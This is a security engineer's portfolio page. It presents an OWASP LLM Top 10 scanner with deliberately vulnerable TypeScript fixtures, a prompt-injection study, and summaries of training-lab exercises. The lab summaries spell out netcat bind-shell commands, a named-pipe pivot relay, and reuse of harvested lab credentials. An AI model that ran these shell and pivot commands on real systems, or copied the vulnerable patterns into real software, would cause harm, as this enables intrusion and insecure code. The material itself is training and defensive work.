I secure AI applications and the AWS systems they run on. I ship llm-audit, an OWASP LLM Top 10 scanner on npm. Five years of production React and Next.js is why I know where the bugs hide. Charleston, SC. Open to remote US roles.
GIAC GCIH + GSEC + GFACT · HackOps 2024 1st Place · HarborHack 2025 Speaker · US Work Authorized
Static analysis for TypeScript and JavaScript LLM applications. OWASP LLM Top 10 at commit time. It catches the security failure modes AI coding assistants quietly introduce, in the TS/JS ecosystem Semgrep's official AI pack does not cover.
install
shell
npm i -D llm-audit
npx llm-audit demo # all 12 rules vs bundled vulnerable fixtures
What it catches
LLM01: Prompt Injection
User-controlled input flowing into the LLM `system` role across Anthropic, OpenAI, and the Vercel AI SDK.
vulnerable
import { generateText } from "ai";
export async function vuln(req: any) {
return generateText({
model: "claude-opus-4-7" as any,
system: req.body.persona, // user controls the system prompt
prompt: "Tell me about portfolios.",
});
}
LLM10: Improper Output Handling
Model output piped into `eval`, `dangerouslySetInnerHTML`, `child_process.exec`, or raw `innerHTML`.
vulnerable
import { generateText } from "ai";
export async function VulnComponent() {
const r = await generateText({
model: "claude-opus-4-7" as any,
prompt: "give me html",
});
return <div dangerouslySetInnerHTML={{ __html: r.text }} />;
}
LLM10: Improper Output Handling
`JSON.parse` on raw model output without a schema validator on the path.
vulnerable
import { generateText } from "ai";
export async function vuln() {
const r = await generateText({
model: "claude-opus-4-7" as any,
prompt: "respond with JSON: { user, balance }",
});
return JSON.parse(r.text); // shape is whatever the model emits
}
TryHackMe AI Security (AI1) · HackTheBox AI Red Teamer path · TCM PWPA (Web Pentest)
About
Current work, then the path that got me here.
These days, most of my work mixes web development with LLM features. Right now I'm running a prompt-injection lab against a chatbot I built, testing how well the usual defenses hold up under realistic attack patterns. Findings live at /ai-playground. That work fed into llm-audit, an OWASP LLM Top 10 static analyzer I ship on npm for TypeScript and JavaScript codebases.
By day I'm at GDNA, building cloud-native apps on AWS. The interesting parts sit on the boundary between feature development and security: input validation, auth flows, S3 policies, secrets handling, and figuring out where things break when no one's watching.
My security path started with the SANS Cyber Academy scholarship, which got me the GIAC GFACT, GSEC, and GCIH certifications. PortSwigger BSCP is in progress, targeting Q4 2026, then AWS Security Specialty (SCS-C03) in Q1 2027. The focus from here is AI and LLM security plus cloud security engineering.
Before software: I'm from Spain, six years in commercial construction (structural detailing, CAD, project management). Studied architectural engineering at IE University.
I'm looking for a full-time Senior Application Security or AI Security Engineer role, remote US or Charleston. I also take a small number of contract engagements: LLM application security reviews, OWASP LLM Top 10 assessments, and AWS auth and IAM hardening. Email luis.lozoya.tech@gmail.com.
Security review, auth, and IAM for serverless client apps on AWS. Joined translating Figma designs into React/Next.js. Now owns architecture, API design, and database design.
Key Achievements:
Security review and dependency analysis on hybrid AWS and MongoDB architectures, surfacing exposure paths before deployment
Cognito auth flows with session management, input validation, and security headers across production apps
Least-privilege IAM across 15+ AWS resources (Lambda, S3, API Gateway, RDS): a scoped role per function, Secrets Manager for credentials, S3 bucket policies
SOC 2 Type 1 readiness: collected control evidence across AWS infrastructure, reviewed configurations, contributed to security policy docs
Architecture, API, and database design for client apps, demoed to clients weekly
Technologies Used:
AWS API GatewayLambdaS3RDSCognitoIAMSecrets ManagerAmplifyReactTypeScriptNext.jsPostgreSQLMongoDB
First engineering role after JRS Coding School bootcamp. Promoted from Software Engineer I to II. Full-stack development on Angular/NestJs with Azure cloud services.
Key Achievements:
Led Angular, NestJs, and MongoDB projects with authentication, authorization, and input validation designed into the APIs
Built custom Chrome extensions integrated with CRM tools using RESTful APIs and OAuth 2.0
Created Azure Functions with various triggers, reducing infrastructure costs for client workloads
Mentored junior engineers through security-aware code reviews and pair programming
OWASP LLM Top 10 at commit time. A Semgrep rule pack and npm CLI for catching the security failure modes AI coding assistants quietly introduce in TS/JS LLM applications. Live on npm.
Problem
AI coding assistants reproduce a small, predictable set of security failures in LLM-integrated code: untrusted input flowing into the LLM `system` role, model output piped into `eval` or `dangerouslySetInnerHTML`, hardcoded API keys, JSON.parse on raw model output. Existing OSS SAST tooling (Semgrep `p/ai-best-practices`, agent-audit) is Python-only. The TypeScript and JavaScript ecosystem (Vercel AI SDK, Next.js Server Actions, OpenAI / Anthropic JS SDKs) was uncovered.
Approach
Built a focused Semgrep rule pack mapped explicitly to OWASP LLM Top 10, distributed via npm with a thin CLI that wires up a husky pre-commit hook and a GitHub Action workflow. Twelve rules, each with vulnerable + safe fixtures, exercised by a test runner. Releases publish from CI over OIDC trusted publishing with SLSA provenance and no long-lived tokens. Released under MIT.
Outcome
Live on npm: the full v1 rule set, twelve rules across LLM01, LLM02, LLM03, LLM06, LLM08 and LLM10, with 37 vulnerable matches and zero false positives on the safe fixtures. Caught a real LLM10 (Improper Output Handling) bug in this portfolio's recruiter-fit endpoint. Dogfooding the LLM01 rule against the same codebase then exposed a false-positive class, which shipped as sanitizers for hand-rolled validation.
SemgrepTypeScriptNode.jsOWASP LLM Top 10npmGitHub Actions
Reproducible red-team study of prompt-injection techniques mapped to OWASP LLM Top 10 and MITRE ATLAS, tested across frontier and budget-tier models via Vercel AI Gateway. Three attacks seeded so far, across LLM01, LLM02, and LLM08.
Problem
Production LLM features ship with informal defenses. Whether they hold up under structured attack chains is mostly anecdote, with no published, reproducible matrix of attack vs. model vs. mitigation in the open TS/JS ecosystem.
Approach
Catalog prompt-injection techniques mapped to OWASP LLM Top 10 and MITRE ATLAS. Run each attack across frontier and budget-tier models via Vercel AI Gateway. Pin model IDs and commit prompts to source so every result is reproducible. Each attack ships paired with a defensive mitigation.
Outcome
Live at /ai-playground with three seeded attacks: instruction override (LLM01), PII exfiltration via storytelling (LLM02), and system prompt extraction via summary (LLM08). Next: the attack vs. model vs. mitigation matrix, transcripts, and a live sandbox.
OWASP LLM Top 10MITRE ATLASVercel AI GatewayNext.jsTypeScript
Mentorship platform onboarding ~1,200 users. Built React UI components and the authentication flow with security-focused defaults.
Problem
Mentorship platform needed secure, scalable onboarding for ~1,200 users.
Solution
React UI components and a Cognito-backed authentication flow with session handling and security headers. Input validation across 4 form types covering ~40 questions. Infrastructure provisioned with scoped IAM access controls.
Impact
60% improvement in onboarding efficiency. Secure registration and sign-in live in production.
Analyzed 173K VPC flow records across 579 log files: isolated 33,232 attacker flows from 20.106.124.93, determined a 6.5-hour attack window, quantified 265MB exfiltrated on port 8889 and 190MB on port 80, and confirmed the full attack surface (HTTP, SSH, 8889) using PCAP-to-NetFlow conversion with nfpcapd/nfdump.
Investigated a 628K-packet PCAP in Wireshark: used protocol hierarchy and conversation statistics to surface a port-80 scanning pattern from 3.142.238.241, followed an HTTP stream revealing a successful WordPress brute-force login (Hydra, admin/#AlphaInc!), and completed a live-capture exercise extracting an HTTP object from loopback traffic.
WiresharkPCAP analysisDisplay filtersHTTP stream following
Analyzed PCAP traffic with tcpdump: identified /.env probing, WordPress brute-force with Hydra, and cleartext login parameters visible in the HTTP payload.
Intrusion Detection and Network Security Monitoring with Snort3 and Zeek
Validated Snort 3.1.73 config, tightened HOME_NET to 10.130.0.0/16, ran the community ruleset against investigate.pcap, and surfaced an SSH CRC32 overflow shellcode pattern (294 alerts from 20.106.124.93 → 10.130.8.94:22). Re-ran Snort with a BPF filter pinned to the attacker IP, then processed the same PCAP with Zeek's extract-all-files policy and confirmed log output.
Netcat for Data Transfer, Shells, and Pivot Relays
Used netcat between a Slingshot Linux host and a Windows host for listener/client chat, then transferred files both ways (Get-Content piped into nc on Windows, redirect out on Linux, and the reverse with Out-File). Set up bind shells on both operating systems (nc -l -p 7777 -e /bin/sh on Linux; nc <ip> 8888 -e cmd.exe on Windows), confirming SYSTEM-adjacent context on each. The finale was a pivot: the attacker could not reach 172.30.0.55, but a compromised pivot host at 172.30.0.50 could. A named-pipe relay (mkfifo namedpipe; nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe) let the attacker curl the target through the pivot; the target's access log showed the pivot's IP, not the attacker's.
Started with credentials for tdoudney and listed shares on 172.30.0.22 (IT, CustomerDev, Home, plus the default SYSVOL/NETLOGON/C$/ADMIN$/IPC$). The IT share held logon.cmd (drive mappings) and netssh.cmd (a proxy config pointing at proxy.falsimentis.com:3128). The Home share exposed every user's directory; csparkes was correctly locked (ACCESS_DENIED) but tdoudney's own directory held backup.ps1 and backup.ps1.OLD. The current script used Get-Credential correctly, but the .OLD version hardcoded ConvertTo-SecureString 'Clippers2022' for falsimentis.com\csparkes. Reusing csparkes/Clippers2022 opened the CustomerDev share, which contained a web app tree and db.backup.sql.zip (33.8 MB).